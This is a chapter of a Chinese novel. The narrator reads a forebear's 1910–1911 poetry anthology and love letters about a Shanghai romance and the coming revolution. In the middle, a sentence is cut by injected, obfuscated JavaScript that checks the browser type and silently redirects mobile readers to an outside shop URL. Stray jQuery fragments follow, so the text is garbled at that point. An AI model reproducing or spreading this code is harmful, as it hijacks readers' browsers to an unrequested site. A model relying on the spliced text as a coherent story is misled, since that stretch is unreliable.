沈未明在沈佩弦的旧物里，找到了一本诗集。
诗集是手抄的，封皮是深蓝色的布面，已经磨得发白了。上面用毛笔写着三个字："弦歌集"。
字写得很好，飘逸洒脱，很有风骨。
沈未明翻开第一页。
上面写着："宣统二年，秋，作于沪上。"
宣统二年，也就是1910年。那时候，沈佩弦才二十三岁。
沈未明坐在地上，就着天窗漏下来的光，一首一首地读了下去。
诗写得很好。
有写景的，有写情的，有抒怀的。
辞藻华丽，意境优美。
看得出来，写这些诗的人，很有才华。
而且，很年轻。
字里行间，都透着一股少年意气。
还有，一股说不出的，淡淡的忧伤。
沈未明读着读着，好像看到了一百多年前，那个年轻的沈佩弦。
穿着长衫，站在黄浦江边，望着滚滚的江水，吟诗作赋。
像所有的年轻诗人一样。
宣统二年的上海，已经很热闹了。
十里洋场，灯红酒绿。
沈佩弦是春天来的。
那时候，他还没跟他爹闹翻。
他爹送他来上海，是让他读书的。
读的是圣约翰大学。
学的是商科。
他爹说，学商科好，毕业了，回来帮他打理生意。
沈佩弦嘴上答应着，心里却不这么想。
他对做生意，一点兴趣都没有。
他喜欢的是诗。
是文学。
是那些风花雪月，那些家国天下。
所以，到了上海之后，他课也不好好上。
整天跟一群文人墨客混在一起。
吟诗作画，饮酒作乐。
日子过得，倒也潇洒。
沈佩弦第一次见到林微，是在一个诗会上。
那是暮春的一个下午。
在一个叫"半亩园"的地方。
地方不大，但是很雅致。
有个小池塘，有几棵柳树，还有一座小亭子。
那天来了很多人。
都是上海文坛的年轻才子。
沈佩弦也去了。
他穿着一件月白的长衫，手里拿着一把折扇，摇啊摇的。
一副翩翩佳公子的样子。
他到的时候，人已经到得差不多了。
大家围坐在亭子里，谈诗论文。
沈佩弦找了个角落坐下。
他本来就不是爱出风头的人。
虽然他诗写得好，但是他不喜欢显摆。
他就坐在那里，听着别人说。
偶尔，有人问他的意见，他才说两句。
不多，但是都很到位。
大家都觉得，这个姓沈的年轻人，有点东西。
林微是后来的。
她来的时候，所有人都安静了。
不是因为她长得有多美。
当然，她确实很美。
但是，更重要的是她的气质。
她穿着一件淡青色的旗袍，头发梳得整整齐齐的，别着一支白玉的簪子。
安安静静的，像一朵水莲花。
她是跟着她哥哥来的。
她哥哥叫林觉，也是个诗人。
大家都叫他林公子。
林觉跟大家介绍说，这是我妹妹，林微。
她也喜欢写诗，今天带她来见见世面。
大家都很客气，纷纷打招呼。
林微微微低着头，一一回礼。
声音很轻，很柔。
像春风吹过柳叶似的。
沈佩弦坐在角落里，看着她。
他的心跳，突然就快了起来。
他长这么大，还从来没有过这种感觉。
就像，心里被什么东西撞了一下。
软软的，甜甜的。
又有点，慌慌的。
他知道，这就是书上说的，一见钟情。
诗会开始了。
大家轮流作诗。
以"春"为题。
有的人写春景，有的人写春愁，有的人写春思。
各有各的好。
轮到林觉的时候，他笑着说："我就不献丑了。今天，我推荐我妹妹来一首。"
大家都鼓掌。
"好啊！"
"早就听说林小姐诗写得好，今天终于能见识了！"
林微脸一红，说："哥，你别瞎说。我写得不好。"
"哎，"林觉说，"怕什么？都是自己人。来一首。"
大家也跟着起哄。
林微没办法，只好站了起来。
她想了想，轻声念道：
"春到江南柳色新，桃花落尽李花匀。
东风不解游人意，吹起愁心满衣襟。"
声音很轻，但是很清楚。
念完了，大家都安静了一会儿。
然后，纷纷叫好。
"好诗！"
"好一个'吹起愁心满衣襟'！"
"林小姐真是才女啊！"
林微脸更红了，说："献丑了，献丑了。"
她坐了下来，低着头，摆弄着衣角。
沈佩弦坐在角落里，看着她。
他觉得，这首诗，写得真好。
虽然，辞藻不是很华丽。
但是，很真。
有一种淡淡的忧愁。
很动人。
他觉得，这个女孩子，不简单。
后来，就轮到沈佩弦了。
大家都看着他，说："沈兄，来一首吧。"
沈佩弦笑了笑，站了起来。
他看了林微一眼。
林微也正好抬起头，看着他。
两个人的目光，碰在了一起。
林微脸一红，赶紧低下了头。
沈佩弦的心跳，又快了起来。
他定了定神，清了清嗓子，念道：
"春水碧于天，画船听雨眠。
垆边人似月，皓腕凝霜雪。
未老莫还乡，还乡须断肠。"
念完了，大家都愣了一下。
然后，有人说："沈兄，这不是韦庄的词吗？"
沈佩弦笑了笑，说："是。我今天突然想起这首词，觉得很应景，就念了出来。献丑了。"
大家都笑了。
"沈兄真是谦虚。"
"是啊是啊，韦庄的词，从沈兄嘴里念出来，别有一番风味啊。"
沈佩弦笑了笑，坐了下来。
他其实，不是故意要念别人的词。
他只是，刚才看到林微的那一刻，脑子里突然一片空白。
自己写的诗，一句都想不起来了。
脑子里，就只剩下这几句。
"垆边人似月，皓腕凝霜雪。"
他觉得，这两句，用来形容林微，正好。
诗会结束的时候，天已经快黑了。
大家纷纷告辞。
沈佩弦也准备走。
他刚走出亭子，就听到后面有人叫他。
"沈兄，请留步。"
他回头一看。
是林觉。
林微站在他哥哥旁边，低着头，看不清表情。
"林兄，有事吗？"沈佩弦问。
林觉笑着说："沈兄，我听大家说，你诗写得很好。刚才听你念韦庄的词，也觉得很有味道。想跟你交个朋友，不知道沈兄赏不赏脸？"
沈佩弦心里一喜。
他当然愿意了。
能跟林觉交朋友，那不就能经常见到林微了吗？
"林兄说笑了。"他说，"能跟林兄交朋友，是我的荣幸。"
"哈哈，"林觉笑了，"好说，好说。"
他拍了拍沈佩弦的肩膀，说："沈兄，哪天有空，我们一起喝酒？"
"好啊。"沈佩弦说，"随时恭候。"
"那就这么说定了。"林觉说。
然后，他转过头，对林微说："微微，跟沈兄打个招呼。"
林微抬起头，看了沈佩弦一眼。
脸红红的。
"沈公子。"她小声说。
"林小姐。"沈佩弦也赶紧回礼。
他的心跳，又快了起来。
林微的声音，真好听。
像黄莺出谷似的。
从那以后，沈佩弦就经常跟林觉来往。
有时候一起喝酒，有时候一起作诗，有时候一起去逛书铺。
当然，每次去林家，他都能见到林微。
有时候，林微会给他们端茶。
有时候，林微会坐在旁边，听他们谈诗论文。
偶尔，她也会插一两句话。
不多，但是都很有见地。
沈佩弦越来越觉得，这个女孩子，不简单。
她不仅长得好看，而且有才华，有见识。
比那些只会吟风弄月的才子们，强多了。
他越来越喜欢她了。
可是，他不敢说。
他怕，说了之后，连朋友都做不成。
而且，他也不知道，林微对他是什么感觉。
他只能，把这份感情，藏在心里。
写成诗。
一首一首的，都写在他的诗集里。
他给诗集起名叫《弦歌集》。
弦，是他的名字，佩弦。
歌，是诗，也是情。
弦歌，就是他的心声。
沈佩弦第一次跟林微单独说话，是在夏天。
那天，林觉有事出去了。
沈佩弦来找林觉，林微出来招待他。
两个人，坐在客厅里。
一开始，都有点尴尬。
不知道说什么好。
后来，还是林微先开口的。
她说："沈公子，听说你在圣约翰大学读书？"
"嗯。"沈佩弦点了点头，"是。"
"学的什么？"
"商科。"
"商科好啊。"林微说，"将来毕业了，可以帮家里打理生意。"
沈佩弦苦笑了一下，说："我对做生意，没什么兴趣。"
"哦？"林微看着他，"那你喜欢什么？"
"我喜欢文学。"沈佩弦说，"喜欢写诗。"
"写诗好啊。"林微笑了笑，说，"我也喜欢。"
"我知道。"沈佩弦说，"上次诗会，你的那首《春愁》，写得真好。"
林微脸一红，说："写得不好，让沈公子见笑了。"
"没有没有。"沈佩弦赶紧说，"真的写得很好。很有感情。"
林微低着头，没说话。
过了一会儿，她小声说："沈公子，你的诗，我也读过。"
"哦？"沈佩弦愣了一下，"你读过我的诗？"
"嗯。"林微点了点头，"我哥那里，有你写的几首诗。我看过。"
"怎么样？"沈佩弦有点紧张地问。
"很好。"林微说，"很有才华。"
她顿了顿，说："就是，有点太忧伤了。"
沈佩弦看着她。
阳光从窗户里照进来，落在她的脸上。
她的睫毛很长，像两把小扇子。
皮肤很白，像玉一样。
沈佩弦的心跳，又快了起来。
他觉得，自己好像要醉了。
那天，他们聊了很久。
从诗，聊到词，聊到小说，聊到戏曲。
越聊，越投机。
沈佩弦发现，林微不仅会写诗，而且懂得很多。
经史子集，她都读过。
甚至，连一些西洋的书，她也看过。
这在当时的女孩子里，是很少见的。
他越来越欣赏她了。
也越来越喜欢她了。
林微也觉得，沈佩弦跟别的公子哥不一样。
他不浮夸，不油腻。
很真诚，很有才华。
而且，很尊重她。
不像别的男人，觉得女孩子读书没用。
他是真的，把她当成一个平等的人，来跟她交流。
她心里，对他也有了好感。
只是，女孩子家，不好意思说。
从那以后，两个人的关系，就近了很多。
有时候，林觉不在，他们也会在一起聊聊天。
或者，一起看看书。
或者，一起在院子里散散步。
虽然，从来没有说过什么情话。
但是，那种感觉，两个人都懂。
就像，春天的种子，在土里，慢慢发芽。
虽然，还没有破土。
但是，根已经扎下去了。
沈佩弦觉得，那段日子，是他这辈子，最快乐的日子。
每天，都有盼头。
醒来，就想见到她。
见到她，就觉得，整个世界都亮了。
他写了很多诗。
都是关于她的。
但是，他一首都没给她看过。
他觉得，还不是时候。
他想，等他再优秀一点。
等他觉得，自己配得上她了。
再跟她说。
可是，他没想到，变化来得这么快。
那年秋天，革命的风声，越来越紧了。
上海的大街小巷，都在议论这件事。
有人说，革命党要起义了。
有人说，朝廷要完了。
有人说，要变天了。
沈佩弦本来，对这些事情，不是很关心。
他觉得，政治什么的，离他很远。
他只想写诗，只想跟林微在一起。
可是，林觉不一样。
林觉是个革命党。
不对，那时候还不叫革命党。
叫同盟会。
林觉是同盟会的成员。
他经常跟沈佩弦说，国家大事，匹夫有责。
说现在的朝廷，太腐败了。
说我们必须革命，才能救中国。
一开始，沈佩弦听着，没往心里去。
可是，听得多了，他也慢慢被感染了。
他开始觉得，林觉说得对。
国家都这样了，我们读书人，怎么能袖手旁观？
我们应该，为国家做点什么。
他开始，跟着林觉，参加一些活动。
听一些演讲。
看一些进步书籍。
他的心里，那团火，慢慢被点燃了。
他觉得，自己找到了人生的意义。
不再是，吟诗作对，风花雪月。
而是，家国天下，救国救民。
他觉得，这样的人生，才是有价值的。
沈未明读到这里，停了下来。
他合上诗集，坐在那里，愣了很久。
他想起了第一卷里，沈观澜跟沈佩弦的那次争吵。
原来，那时候的沈佩弦，已经是个革命党了。
不对，那时候还不是。
那时候，他应该还只是个同情革命的进步青年。
后来，才真正加入的。
沈未明叹了口气。
年轻的时候，谁没有理想呢？
谁没有想过，要改变世界呢？
可是，又有几个人，能坚持到最后呢？
又有几个人，的理想，没有被现实磨平呢？
沈佩弦的理想，最后怎么样了？
他成功了吗？
还是，失败了？
他后悔过吗？
沈未明不知道。
他只知道，沈佩弦死得很早。
二十八岁，就死了。
正是最好的年纪。
他是怎么死的？
是为了革命，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735657|209047||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
牺牲了？
还是，别的什么原因？
族谱上没写。
沈未明也不知道。
他只能，继续往下找。
继续，从那些故纸堆里，寻找答案。
沈未明又找了很久。
终于，在一个旧箱子里，找到了一摞信。
是沈佩弦写给林微的。
还有，林微写给沈佩弦的。
都用红丝带捆着。
整整齐齐的。
沈未明拿起最上面的一封。
是沈佩弦的笔迹。
他拆开，读了起来。
信写得很缠绵。
字里行间，都是思念。
还有，对未来的憧憬。
沈未明读着读着，好像看到了一百多年前，那个年轻的沈佩弦。
坐在灯下，拿着笔，一笔一划地，写着情书。
脸上，带着幸福的笑容。
像所有，陷入爱情的年轻人一样。
傻气，但是真诚。
沈未明笑了笑。
原来，沈佩弦也有这样的时候。
他一直以为，沈佩弦是个很严肃的人。
是个一心革命的志士。
没想到，他也有这么柔情的一面。
果然，英雄难过美人关啊。
不对，他还不是英雄。
他只是个，有理想的年轻人。
沈未明一封一封地读着。
从春天，读到夏天。
从夏天，读到秋天。
从信里，他看到了两个人的感情，一步步升温。
从最开始的，客客气气。
到后来的，越来越亲密。
再到后来，已经开始谈婚论嫁了。
沈佩弦在信里说，等过年的时候，他就回家，跟他爹说。
让他爹，去林家提亲。
林微在信里说，她等着他。
等他来娶她。
沈未明读着，都觉得甜。
可是，读着读着，他就发现，不对了。
从秋天开始，信里的内容，就变了。
沈佩弦的信里，越来越多地提到革命。
提到国家大事。
提到，他要做一件大事。
林微的信里，开始有了担忧。
她劝他，要小心。
劝他，不要太冒险。
她说，她不想他当什么英雄。
她只想，跟他安安稳稳地过日子。
可是，沈佩弦说，不行。
他说，国家都这样了，他不能只顾自己的小日子。
他说，等革命成功了，他们就能过上好日子了。
他说，他要给她一个，太平盛世。
沈未明读着，叹了口气。
年轻的时候，总是这样。
觉得，自己能改变世界。
觉得，为了理想，什么都可以牺牲。
包括爱情。
包括生命。
可是，他们不知道。
有些东西，失去了，就再也回不来了。
比如，爱情。
比如，生命。
信的最后一封，是林微写的。
日期是，宣统三年，九月。
也就是1911年10月。
武昌起义刚刚爆发。
信里，林微的字迹，很潦草。
看得出来，她写的时候，很着急。
她说，她听说武昌起义了。
她说，她很担心他。
她说，让他一定要小心。
她说，不管怎么样，她都等着他。
她说，她会一直等他。
等到他回来娶她。
信的最后，写着：
"陌上花开，可缓缓归矣。"
沈未明看着这行字，心里，一阵发酸。
他知道，沈佩弦，再也回不来了。
或者说，他回来过。
但是，已经不是原来的那个他了。
因为，他后来，娶的不是林微。
他娶的，是另一个女人。
也就是，沈静言的母亲。
为什么？
发生了什么事？
为什么，他没有娶林微？
林微呢？
她后来怎么样了？
她等到他了吗？
还是，嫁给了别人？
沈未明不知道。
这些信，到这里，就断了。
后面的，不知道去哪里了。
也许，是被人拿走了。
也许，是被人毁掉了。
也许，是沈佩弦自己，不想再看到。
沈未明坐在地上，手里拿着那封信。
他的眼前，好像出现了一个画面。
一百多年前，一个年轻的女孩子。
坐在灯下，拿着笔，写着信。
眼泪，一滴一滴地，掉在信纸上。
把字迹，都晕开了。
她在等。
等她的心上人，回来娶她。
可是，她不知道。
她等的人，再也不会回来了。
或者说，回来的，已经不是她等的那个人了。
沈未明把那些信，重新捆好。
放回箱子里。
他站起身，走到窗边。
外面，天已经黑了。
月亮升起来了。
又大又圆。
跟一百多年前，那个中秋的月亮，一样的圆。
沈未明看着月亮，看了很久。
他想起了很多人。
沈观澜，苏婉，沈佩弦，林微……
还有很多很多，他不知道名字的人。
他们都曾经，年轻过。
都曾经，有过理想。
都曾经，有过爱情。
可是，到最后，都怎么样了呢？
理想，实现了吗？
爱情，有结果了吗？
还是，都败给了时间？
败给了现实？
沈未明不知道。
他只知道，时间，真的是个很残忍的东西。
它能把一切，都带走。
荣耀，财富，爱情，理想……
什么都留不下。
最后，只剩下，一抔黄土。
还有，几页故纸。
让后来的人，去猜，去想。
去感叹。
沈未明在窗前，站了很久。
直到，腿都站麻了。
他才转过身，往藏书楼门口走去。
走到门口，他又回头看了一眼。
黑漆漆的藏书楼里，好像有什么东西，在发光。
淡淡的，青色的光。
像那块石头的颜色。
又像，林微头上的那支白玉簪子。
沈未明的心跳，漏了一拍。
他揉了揉眼睛。
再看，什么都没有了。
只有黑暗。
沈未明叹了口气。
他觉得，自己最近，越来越不对劲了。
总是，出现幻觉。
总是，看到一些不存在的东西。
也许，是这座宅子，太邪门了。
也许，是他自己，太累了。
他摇了摇头，推开门，走了出去。
外面的风，有点凉。
吹在脸上，让他清醒了些。
他抬头看了看月亮。
月亮还是那么圆。
那么亮。
冷冷的，照着这座古老的宅子。
也照着，那些过去的人和事。
沈未明站在院子里，站了很久。
他好像听到了什么声音。
很轻，很轻。
像是，有人在吟诗。
又像是，有人在弹琴。
模模糊糊的，听不真切。
像一场梦。
又像，是真的。